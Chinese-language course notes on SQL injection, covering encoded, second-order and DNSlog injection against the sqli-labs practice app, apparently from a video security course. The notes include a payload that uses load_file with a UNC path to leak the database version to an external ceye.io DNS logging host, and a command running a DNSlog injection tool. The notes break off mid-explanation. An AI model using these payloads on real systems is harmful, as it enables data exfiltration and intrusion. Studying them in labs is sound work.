B站小迪安全笔记第十七天-SQL注入之二次加解密，dns等注入

 加解密，二次，DNSlog 注入

注入原理，演示案例，实际应用（中转注入）

DNSlog:解决了盲注不能回显数据，效率低的问题

http://127.0.0.1:8080/sqlilabs/less-2/?id=-1 and if((select load_file(concat('\\\\',(select version()),'.1t7i2f.ceye.io\\abc'))),1,0)--+

启动dnslog

D:\Python27\python.exe dnslogSql.py -u "http://127.0.0.1:8080/sqlilabs/Less-9/?id=1' and ({})--+"

 

sqlilabs-less24-post登录框&二次注入

二次注入无法通过扫描工具或者代码自己手工测试出来的，二次注入一般会产生在网站程序源代码才会发现的注入漏洞，从前端或者黑盒测试是看不到这个漏洞。

二次注入原理，主要分为两步：

第一步：插入恶意数据